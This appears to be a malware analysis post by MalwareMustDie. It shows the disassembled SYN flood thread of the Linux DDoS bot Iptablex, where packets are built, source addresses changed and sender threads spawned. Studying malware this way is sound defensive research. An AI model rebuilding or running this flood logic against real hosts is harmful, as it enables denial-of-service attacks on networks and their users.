; SYN Flood thread #MalwareMustDie - @unixfreaxjp /malware/Iptablex]$ date ; Mon Jun 16 14:08:15 JST 2014 .text:08048A00 public SynFloodThread .text:08048A00 SynFloodThread proc near .text:08048A00 var_88 = dword ptr -88h .text:08048A00 var_84 = dword ptr -84h .text:08048A00 var_80 = dword ptr -80h .text:08048A00 var_7C = dword ptr -7Ch .text:08048A00 var_78 = dword ptr -78h .text:08048A00 var_74 = dword ptr -74h .text:08048A00 var_70 = dword ptr -70h .text:08048A00 var_6C = dword ptr -6Ch .text:08048A00 var_68 = dword ptr -68h .text:08048A00 var_60 = dword ptr -60h .text:08048A00 var_5C = dword ptr -5Ch .text:08048A00 var_58 = dword ptr -58h .text:08048A00 var_52 = word ptr -52h .text:08048A00 var_50 = dword ptr -50h .text:08048A00 var_4C = dword ptr -4Ch .text:08048A00 var_44 = byte ptr -44h .text:08048A00 var_40 = dword ptr -40h .text:08048A00 var_3C = word ptr -3Ch .text:08048A00 var_3A = word ptr -3Ah .text:08048A00 var_38 = dword ptr -38h .text:08048A00 var_34 = word ptr -34h .text:08048A00 var_30 = dword ptr -30h .text:08048A00 var_24 = dword ptr -24h .text:08048A00 var_20 = dword ptr -20h .text:08048A00 var_1C = dword ptr -1Ch .text:08048A00 var_18 = dword ptr -18h .text:08048A00 var_14 = dword ptr -14h .text:08048A00 var_10 = byte ptr -10h .text:08048A00 arg_0 = dword ptr 8 .text:08048A00 .text:08048A00 push ebp .text:08048A01 mov ebp, esp .text:08048A03 push edi .text:08048A04 push esi .text:08048A05 push ebx .text:08048A06 sub esp, 7Ch ; fd .text:08048A09 mov esi, [ebp+arg_0] .text:08048A0C lea eax, [ebp+var_6C] .text:08048A0F mov [esp+88h+var_80], 60h .text:08048A17 mov [esp+88h+var_84], 0 .text:08048A1F mov [esp+88h+var_88], eax .text:08048A22 call memset .text:08048A27 mov eax, [esi] .text:08048A29 mov [ebp+var_38], eax .text:08048A2C mov eax, [esi+4] .text:08048A2F mov edi, [esi+0Ch] .text:08048A32 mov ebx, [esi+64h] .text:08048A35 mov [esp+88h+var_88], 0 .text:08048A3C mov [ebp+var_34], ax .text:08048A40 mov [ebp+var_52], di .text:08048A44 call time .text:08048A49 lea edx, [esi+50h] .text:08048A4C mov [ebp+var_60], eax .text:08048A4F mov ecx, [esi+60h] .text:08048A52 mov [ebp+var_44], 0 .text:08048A56 mov [ebp+var_5C], ecx .text:08048A59 mov eax, [esi+50h] .text:08048A5C mov [ebp+var_20], eax .text:08048A5F mov eax, [edx+4] .text:08048A62 mov [ebp+var_1C], eax .text:08048A65 mov eax, [edx+8] .text:08048A68 mov [ebp+var_18], eax .text:08048A6B mov eax, [edx+0Ch] .text:08048A6E mov [ebp+var_14], eax .text:08048A71 test byte ptr [esi+8], 4 .text:08048A75 jnz loc_8048B60 .text:08048A7B cmp ebx, ecx .text:08048A7D ja loc_8048B48 .text:08048A83 .text:08048A83 loc_8048A83: .text:08048A83 mov eax, dword ptr ds:g_mainsrvinfo+10h .text:08048A88 mov [esp+88h+var_88], eax .text:08048A8B call GetSocketIp .text:08048A90 mov [ebp+var_58], 0 .text:08048A97 ror ax, 8 .text:08048A9B ror eax, 10h .text:08048A9E ror ax, 8 .text:08048AA2 mov [ebp+var_5C], eax .text:08048AA5 .text:08048AA5 loc_8048AA5: .text:08048AA5 mov eax, [ebp+var_58] .text:08048AA8 mov ebx, [esi+68h] .text:08048AAB mov [esp+88h+var_88], 0 .text:08048AB2 mov [ebp+var_70], eax .text:08048AB5 call time .text:08048ABA lea ebx, [ebx+eax+2] .text:08048ABE movzx eax, word ptr [esi+6Ch] .text:08048AC2 mov [ebp+var_40], ebx .text:08048AC5 mov [ebp+var_3C], ax .text:08048AC9 movzx eax, word ptr [esi+6Eh] .text:08048ACD mov [ebp+var_3A], ax .text:08048AD1 lea eax, [ebp+var_6C] .text:08048AD4 mov [esi+80h], eax .text:08048ADA lea eax, [esi+78h] .text:08048ADD mov [esp+88h+var_7C], eax .text:08048AE1 mov [esp+88h+var_80], 0 .text:08048AE9 mov [esp+88h+var_84], 1 .text:08048AF1 mov [esp+88h+var_88], 1 .text:08048AF8 call socketpair .text:08048AFD test eax, eax .text:08048AFF jnz short loc_8048B3C .text:08048B01 call fork .text:08048B06 cmp eax, 0 .text:08048B09 jz short loc_8048B75 .text:08048B0B nop .text:08048B0C lea esi, [esi+0] .text:08048B10 jle loc_8048E6A .text:08048B16 mov [esi+74h], eax .text:08048B19 mov [esp+88h+var_80], 0 .text:08048B21 mov [esp+88h+var_84], 0 .text:08048B29 mov [esp+88h+var_88], eax .text:08048B2C call waitpid .text:08048B31 lea eax, [ebp+var_20] .text:08048B34 mov [esp+88h+var_88], eax .text:08048B37 call DeleteTask .text:08048B3C .text:08048B3C loc_8048B3C: .text:08048B3C mov [esp+88h+var_88], 0 .text:08048B43 call pthread_exit .text:08048B48 .text:08048B48 loc_8048B48: .text:08048B48 mov eax, dword ptr ds:g_mainsrvinfo+128h .text:08048B4D cmp ecx, eax .text:08048B4F jnb short loc_8048B54 .text:08048B51 mov [ebp+var_5C], eax .text:08048B54 .text:08048B54 loc_8048B54: .text:08048B54 mov eax, dword ptr ds:g_mainsrvinfo+12Ch .text:08048B59 cmp ebx, eax .text:08048B5B jbe short loc_8048B60 .text:08048B5D mov ebx, eax .text:08048B5F nop .text:08048B60 .text:08048B60 loc_8048B60: .text:08048B60 mov eax, [ebp+var_5C] .text:08048B63 cmp ebx, eax .text:08048B65 jbe loc_8048A83 .text:08048B6B sub ebx, eax .text:08048B6D mov [ebp+var_58], ebx .text:08048B70 jmp loc_8048AA5 .text:08048B75 .text:08048B75 loc_8048B75: .text:08048B75 lea eax, [ebp+var_6C] .text:08048B78 mov ds:rmsg, eax .text:08048B7D mov [esp+88h+var_84], offset stopatk .text:08048B85 mov [esp+88h+var_88], 0E8h .text:08048B8C call ssignal .text:08048B91 mov eax, [esi+7Ch] .text:08048B94 mov [esp+88h+var_88], eax .text:08048B97 call close .text:08048B9C movzx eax, [ebp+var_52] .text:08048BA0 mov [ebp+var_50], 0 .text:08048BA7 mov [ebp+var_6C], 0 .text:08048BAE mov [ebp+var_68], 0 .text:08048BB5 imul ebx, eax, 1389h .text:08048BBB mov [esp+88h+var_88], ebx .text:08048BBE call malloc .text:08048BC3 mov [esp+88h+var_88], ebx .text:08048BC6 mov [ebp+var_6C], eax .text:08048BC9 call malloc .text:08048BCE mov edx, [ebp+var_6C] .text:08048BD1 test edx, edx .text:08048BD3 mov [ebp+var_68], eax .text:08048BD6 jz loc_8048E45 .text:08048BDC test eax, eax .text:08048BDE jz loc_8048E3D .text:08048BE4 mov [esp+88h+var_80], ebx .text:08048BE8 shr edi, 10h .text:08048BEB mov [esp+88h+var_88], edx .text:08048BEE and edi, 0FFh .text:08048BF4 mov [esp+88h+var_84], 0 .text:08048BFC call memset .text:08048C01 mov eax, [ebp+var_68] .text:08048C04 mov [esp+88h+var_80], ebx .text:08048C08 xor ebx, ebx .text:08048C0A mov [esp+88h+var_84], 0 .text:08048C12 mov [esp+88h+var_88], eax .text:08048C15 call memset .text:08048C1A lea esi, [esi+0] .text:08048C20 loc_8048C20: .text:08048C20 movzx edx, [ebp+var_52] .text:08048C24 movzx eax, [ebp+var_34] .text:08048C28 mov [esp+88h+var_74], 0 .text:08048C30 mov [esp+88h+var_80], edi .text:08048C34 mov [esp+88h+var_84], edx .text:08048C38 imul edx, ebx .text:08048C3B mov [esp+88h+var_78], eax .text:08048C3F mov eax, [ebp+var_38] .text:08048C42 add edx, [ebp+var_6C] .text:08048C45 mov [esp+88h+var_7C], eax .text:08048C49 mov [esp+88h+var_88], edx .text:08048C4C call syn_packet .text:08048C51 movzx edx, [ebp+var_52] .text:08048C55 movzx eax, [ebp+var_34] .text:08048C59 mov [esp+88h+var_74], 0 .text:08048C61 mov [esp+88h+var_80], edi .text:08048C65 mov [esp+88h+var_84], edx .text:08048C69 imul edx, ebx .text:08048C6C mov [esp+88h+var_78], eax .text:08048C70 mov eax, [ebp+var_38] .text:08048C73 add edx, [ebp+var_68] .text:08048C76 mov [esp+88h+var_7C], eax .text:08048C7A mov [esp+88h+var_88], edx .text:08048C7D call syn_packet .text:08048C82 mov eax, [ebp+var_58] .text:08048C85 cmp eax, 1 .text:08048C88 jbe short loc_8048C95 .text:08048C8A mov [esp+88h+var_88], eax .text:08048C8D call Hbrand .text:08048C92 mov [ebp+var_70], eax .text:08048C95 .text:08048C95 loc_8048C95: .text:08048C95 movzx edx, [ebp+var_52] .text:08048C99 mov eax, [ebp+var_70] .text:08048C9C add eax, [ebp+var_5C] .text:08048C9F mov [esp+88h+var_7C], 0 .text:08048CA7 mov [esp+88h+var_84], edx .text:08048CAB imul edx, ebx .text:08048CAE add ebx, 1 .text:08048CB1 add edx, [ebp+var_6C] .text:08048CB4 ror ax, 8 .text:08048CB8 ror eax, 10h .text:08048CBB ror ax, 8 .text:08048CBF mov [esp+88h+var_80], eax .text:08048CC3 mov [esp+88h+var_88], edx .text:08048CC6 call ChangeSyn .text:08048CCB cmp ebx, 1388h .text:08048CD1 jnz loc_8048C20 .text:08048CD7 mov eax, [ebp+var_6C] .text:08048CDA lea ebx, [ebp+var_30] .text:08048CDD mov [ebp+var_10], 1 .text:08048CE1 lea edi, [ebp+var_24] .text:08048CE4 mov [ebp+var_4C], eax .text:08048CE7 .text:08048CE7 loc_8048CE7: .text:08048CE7 mov [esp+88h+var_88], 2710h .text:08048CEE call usleep .text:08048CF3 lea eax, [ebp+var_6C] .text:08048CF6 mov [esp+88h+var_80], ebx .text:08048CFA add ebx, 4 .text:08048CFD mov [esp+88h+var_78], 1 .text:08048D05 mov [esp+88h+var_7C], 0 .text:08048D0D mov [esp+88h+var_84], eax .text:08048D11 mov [esp+88h+var_88], offset SynFloodSendThread .text:08048D18 call HbCreateThread .text:08048D1D cmp ebx, edi .text:08048D1F jnz short loc_8048CE7 .text:08048D21 mov [esp+88h+var_88], 4E20h .text:08048D28 call usleep .text:08048D2D lea eax, [ebp+var_6C] .text:08048D30 mov [esp+88h+var_78], 1 .text:08048D38 mov [esp+88h+var_7C], 1 .text:08048D40 mov [esp+88h+var_80], ebx .text:08048D44 mov [esp+88h+var_84], eax .text:08048D48 mov [esp+88h+var_88], offset SynFloodBuildThread .text:08048D4F call HbCreateThread .text:08048D54 cmp [ebp+var_10], 1 .text:08048D58 jz short loc_8048D92 .text:08048D5A jmp short loc_8048DA5 .text:08048D5C align 10h .text:08048D60 loc_8048D60: .text:08048D60 movzx eax, [ebp+var_3C] .text:08048D64 imul eax, 0F4240h .text:08048D6A mov [esp+88h+var_88], eax .text:08048D6D call usleep .text:08048D72 movzx eax, [ebp+var_3A] .text:08048D76 mov [ebp+var_44], 1 .text:08048D7A imul eax, 0F4240h .text:08048D80 mov [esp+88h+var_88], eax .text:08048D83 call usleep .text:08048D88 cmp [ebp+var_10], 1 .text:08048D8C mov [ebp+var_44], 0 .text:08048D90 jnz short loc_8048DA5 .text:08048D92 .text:08048D92 loc_8048D92: .text:08048D92 mov ebx, [ebp+var_40] .text:08048D95 mov [esp+88h+var_88], 0 .text:08048D9C call time .text:08048DA1 cmp ebx, eax .text:08048DA3 jg short loc_8048D60 .text:08048DA5 .text:08048DA5 loc_8048DA5: .text:08048DA5 mov [ebp+var_10], 0 .text:08048DA9 xor edi, edi .text:08048DAB xor ebx, ebx .text:08048DAD mov [esp+88h+var_88], 186A0h .text:08048DB4 call usleep .text:08048DB9 .text:08048DB9 loc_8048DB9: .text:08048DB9 mov eax, [ebp+ebx*4+var_30] .text:08048DBD mov [esp+88h+var_84], 64h .text:08048DC5 mov [esp+88h+var_88], eax .text:08048DC8 call HbCheckThread .text:08048DCD test eax, eax .text:08048DCF jz short loc_8048DDA .text:08048DD1 cmp edi, 1Dh .text:08048DD4 jbe loc_8048E76 .text:08048DDA .text:08048DDA loc_8048DDA: .text:08048DDA add ebx, 1 .text:08048DDD cmp ebx, 2 .text:08048DE0 jg short loc_8048DE6 .text:08048DE2 xor edi, edi .text:08048DE4 jmp short loc_8048DB9 .text:08048DE6 .text:08048DE6 loc_8048DE6: .text:08048DE6 xor ebx, ebx .text:08048DE8 .text:08048DE8 loc_8048DE8: .text:08048DE8 mov eax, [ebp+ebx*4+var_30] .text:08048DEC add ebx, 1 .text:08048DEF mov [esp+88h+var_88], eax .text:08048DF2 call HbExitThread .text:08048DF7 cmp ebx, 3 .text:08048DFA jnz short loc_8048DE8 .text:08048DFC xor bl, bl .text:08048DFE jmp short loc_8048E14 .text:08048E00 loc_8048E00: .text:08048E00 cmp ebx, 1Eh .text:08048E03 jz short loc_8048E2B .text:08048E05 add ebx, 1 .text:08048E08 mov [esp+88h+var_88], 186A0h .text:08048E0F call usleep .text:08048E14 loc_8048E14: .text:08048E14 mov eax, [ebp+var_24] .text:08048E17 mov [esp+88h+var_84], 64h .text:08048E1F mov [esp+88h+var_88], eax .text:08048E22 call HbCheckThread .text:08048E27 test eax, eax .text:08048E29 jnz short loc_8048E00 .text:08048E2B loc_8048E2B: .text:08048E2B mov eax, [ebp+var_24] .text:08048E2E mov [esp+88h+var_88], eax .text:08048E31 call HbExitThread .text:08048E36 mov edx, [ebp+var_6C] .text:08048E39 test edx, edx .text:08048E3B jz short loc_8048E45 .text:08048E3D .text:08048E3D loc_8048E3D: .text:08048E3D mov [esp+88h+var_88], edx .text:08048E40 call free .text:08048E45 .text:08048E45 loc_8048E45: .text:08048E45 mov eax, [ebp+var_68] .text:08048E48 test eax, eax .text:08048E4A jz short loc_8048E54 .text:08048E4C mov [esp+88h+var_88], eax .text:08048E4F call free .text:08048E54 .text:08048E54 loc_8048E54: .text:08048E54 mov dword ptr [esi+80h], 0 .text:08048E5E mov [esp+88h+var_88], 0 .text:08048E65 call exit .text:08048E6A loc_8048E6A: .text:08048E6A mov [esp+88h+var_88], 0 .text:08048E71 call exit .text:08048E76 .text:08048E76 loc_8048E76: .text:08048E76 add edi, 1 .text:08048E79 mov [esp+88h+var_88], 186A0h .text:08048E80 call usleep .text:08048E85 jmp loc_8048DB9 .text:08048E85 SynFloodThread endp